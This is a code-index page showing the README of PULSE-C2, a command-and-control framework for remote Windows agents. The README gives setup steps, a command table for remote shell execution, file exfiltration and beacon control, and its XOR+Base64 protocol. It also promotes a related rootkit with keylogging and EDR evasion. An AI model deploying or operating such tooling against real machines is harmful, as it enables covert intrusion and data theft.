MCPcopy Index your code
hub / github.com/28Zaaky/PULSE-C2

github.com/28Zaaky/PULSE-C2 @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
45 symbols 78 edges 3 files 21 documented · 47%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

PULSE C2 Framework

Python C++ Platform

C2 screenshot

HTTPS Command & Control infrastructure with web dashboard for remote Windows agent management.

⚠️ Educational Use Only - Illegal use = your responsibility.

Features

  • HTTPS C2 server with TLS encryption (Flask)
  • Real-time web dashboard
  • XOR + Base64 encrypted protocol
  • SQLite database for persistent storage
  • Remote shell, file exfiltration, beacon control
  • Silent agent with no debug output

Quick Start

Server:

cd server
pip install flask
python c2_server.py

Access dashboard: https://localhost:8443

Client:

build.bat

Edit client/c2_client.cpp to set your server IP:

wstring c2ServerUrl = L"https://YOUR_SERVER_IP:8443";

Commands

Command Syntax Description
shell shell <cmd> Execute shell command
exfil exfil <path> Exfiltrate file (Base64)
sleep sleep <seconds> Change beacon interval
ping ping Test connectivity
die die Terminate agent

Protocol

Encryption: XOR + Base64
Key: Hostname + Username + "SecretKey2025"
Transport: HTTPS (port 8443)

Agent → POST /api/checkin → Server (get commands)
Agent → POST /api/result → Server (send results)

Requirements

Server: Python 3.9+, Flask
Client: MinGW-w64 GCC 15.2+, Windows SDK, C++17

Related Project

This C2 framework is extracted from the XvX Usermode Rootkit project. The full rootkit version includes a more complete C2 with over 15 commands, including process/file/registry hiding, SYSTEM privilege escalation, interactive reverse shells, keylogger functionality, DLL injection, and EDR evasion techniques. This standalone version provides the core C2 infrastructure for educational purposes and easy integration into custom projects.

Contact

Author: 28zaakypro[@]proton[.]me

Core symbols most depended-on inside this repo

xor_decrypt
called by 4
server/c2_server.py
xorEncrypt
called by 2
include/C2Client.h
sendResult
called by 2
include/C2Client.h
setActive
called by 2
include/C2Client.h
xor_encrypt
called by 1
server/c2_server.py
base64_decode_wstring
called by 1
server/c2_server.py
clean_keylog
called by 1
server/c2_server.py
init_db
called by 1
server/c2_server.py

Shape

Function 22
Method 13
Route 9
Class 1

Languages

Python56%
C++44%

Modules by API surface

server/c2_server.py25 symbols
include/C2Client.h18 symbols
client/c2Client.cpp2 symbols

For agents

$ claude mcp add PULSE-C2 \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page